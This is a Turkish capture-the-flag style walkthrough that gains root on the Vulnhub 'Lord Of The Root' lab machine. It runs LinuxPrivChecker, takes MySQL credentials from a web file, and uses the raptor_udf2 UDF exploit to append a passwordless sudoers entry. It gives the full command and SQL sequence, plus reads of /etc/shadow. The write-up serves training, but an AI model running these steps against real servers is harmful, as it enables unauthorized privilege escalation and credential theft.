Yazıda kullanılan Lord Of The Root: 1.0.1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/lord-of-the-root-101,129/
Bu makinenin komut satırına SSH ile erişim için aşağıdaki kimlik bilgileri ile kullanılabilir.
Kullanıcı Adı: smeagol
Parola: MyPreciousR00t
Erişilen makinede “smeagol” kullanıcısının standart yetkilere sahip olduğu ve kullanılan işletim sisteminin 32 bit mimarideki Ubuntu 14.04.3 LTS olduğu görülmektedir.
id
uname -a
head -3 /etc/passwd
tail -4 /etc/passwd
cat /etc/shadow
A) Hak Yükseltme Zafiyetinin Tespiti
Muhtemel hak yükseltme zafiyetlerinin listesi için LinuxPrivChecker isimli Python betiği (Linux Privilege Escalation Check Script) kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.
wget https://www.securitysift.com/download/linuxprivchecker.py
Not: Dosyanın yedeği Github üzerindeki başka hesaplardan de elde edilebilir.
https://raw.githubusercontent.com/reider-roque/linpostexp/master/linexpchecker.py
İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.
md5sum linuxprivchecker.py
python -m SimpleHTTPServer 9999wget http://172.20.50.128:9999/linuxprivchecker.py
ls -la linuxprivchecker.py
Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.
python linuxprivchecker.py > Sonuc.txt
head -15 Sonuc.txt
Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.
grep -E “^\[\*\]|^\[\+\]” Sonuc.txt
[*] GETTING BASIC SYSTEM INFO…
[+] Kernel
[+] Hostname
[+] Operating System
[*] GETTING NETWORKING INFO…
[+] Interfaces
[+] Netstat
[+] Route
[*] GETTING FILESYSTEM INFO…
[+] Mount results
[+] fstab entries
[+] Scheduled cron jobs
[+] Writable cron dirs
[*] ENUMERATING USER AND ENVIRONMENTAL INFO…
[+] Logged in User Activity
[+] Super Users Found:
[+] Environment
[+] Root and current user history (depends on privs)
[+] Sudoers (privileged)
[+] All users
[+] Current User
[+] Current User ID
[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS…
[+] World Writeable Directories for User/Group ‘Root’
[+] World Writeable Directories for Users other than Root
[+] World Writable Files
[+] Checking if root’s home folder is accessible
[+] SUID/SGID Files and Directories
[+] Logs containing keyword ‘password’
[+] Config files containing keyword ‘password’
[+] Shadow File (Privileged)
[*] ENUMERATING PROCESSES AND APPLICATIONS…
[+] Installed Packages
[+] Current processes
[+] Apache Version and Modules
[+] Apache Config File
[+] Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)
[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER…
[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING…
[+] Installed Tools
[+] Related Shell Escape Sequences…
[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS…
Hak yükseltme zafiyetleri incelendiğinde “MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit” diye isimlendirilen zafiyetin önerildiği görülmektedir.
grep “PRIVILEGE ESCALATION EXPLOITS” Sonuc.txt -A20
B) MySQL Servisine Erişimin Sağlanması
Veritabanı yönetim sistemi olarak kullanılan Mysql servisinin “root” kullanıcı yetkileri ile çalıştığı görülmektedir.
ps aux | grep mysql | grep -v grep
Disk sistemi incelendiğinde Mysql oturum bilgileri “login.php” dosyasında yazılı olduğu tespit edilir. Dosya içeriğinden kullanıcı adının “root” ve parolasının “darkshadow” olduğu görülmektedir.
cd /var/www/978345210/
ls
cat login.php
Böylece Mysql üzerinde oturum açılabilmiştir.
mysql -u root -pdarkshadow
show databases;
use Webapp;
show tables;
Kullanılan Mysql sürümünün 5.5.44 olduğu ve detayları listelenebilir.
status;
select @@version;
C) UDF ile Hak Yükseltme
“MySQL 4.x/5.0 (Linux) – User-Defined Function (UDF) Dynamic Library Exploit (2)” başlıklı istismara ait C kodu ile yazılmış dosya internetten saldırgan makinesine indirilir ve sonra da kurban sanal makineye aktarılır.
wget https://www.exploit-db.com/raw/1518/ -O raptor_udf2.cmd5sum raptor_udf2.c
python -m SimpleHTTPServer 9999cd $HOME
wget http://172.20.50.128:9999/raptor_udf2.c
ls -la raptor_udf2.c
İstismar kodunda belirtilen işlemlerin ilk adımı olarak “-c” parametresi ile derlenir ve “*.o” uzantılı olarak bir ‘relocatable‘ dosya elde edilmiş olur.
ls
gcc -g -c raptor_udf2.c
ls
file raptor_udf2.o
strings raptor_udf2.o
İkinci adım olarak da oluşan dosya, SO (Shared Object) dosyasına çevirilir.
gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
ls
file raptor_udf2.so
ls -ls raptor_udf2.*
Not: “-W1” seçeneği “-Wl” olarak değiştirilmiştir.
Üçüncü adım olarak oluşan “raptor_udf2.so” dosyası kütüphanelerin bulunduğu dizine atılır.
mysql -u root -pdarkshadow
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/home/raptor/raptor_udf2.so’));
select * from foo into dumpfile ‘/usr/lib/raptor_udf2.so’;
SO dosyasının “/usr/lib/” dizinine kopyalandığı görülmektedir.
ls -la /usr/lib/raptor_udf2.so
md5sum /home/smeagol/raptor_udf2.so /usr/lib/raptor_udf2.so
Dördüncü adım olarak kullanıcı tanımlı fonksiyon oluşturulur. Ancak ilgili kütüphanenin mevcut olmadı hatası alınmaktadır. Bunun sebebi mevcut sanal makinedeki Mysql servisinin kütüphane dosyalarını “/usr/lib/” dizininde değil, “/usr/lib/mysql/plugin/” dizininde saklamasıdır.
create function do_system returns integer soname ‘raptor_udf2.so’;
SHOW VARIABLES WHERE Variable_Name LIKE “%plugin%”;
Bu sebeple “raptor_udf2.so” dosyası doğru dizine kaydedilir ve fonksiyon oluşturulur.
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf2.so’;
select * from func;
create function do_system returns integer soname ‘raptor_udf2.so’;
select * from func;
Böylece mevcut kullanıcıya (smeagol) “root” gibi komut çalıştırma yetsini verilir ve hak yükseltilmiş olunur.
select do_system(‘echo “smeagol ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’);
exit
id
sudo su –
id
head -3 /etc/shadow
tail -3 /etc/shadow
Kaynak:
https://www.rebootuser.com/?p=1758
Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries
https://github.com/Hamza-Megahed/CTFs/blob/master/lord-of-the-root/README
https://highon.coffee/blog/lord-of-the-root-walkthrough/
http://phrack.org/issues/61/8.html#article
http://man7.org/linux/man-pages/man5/elf.5.html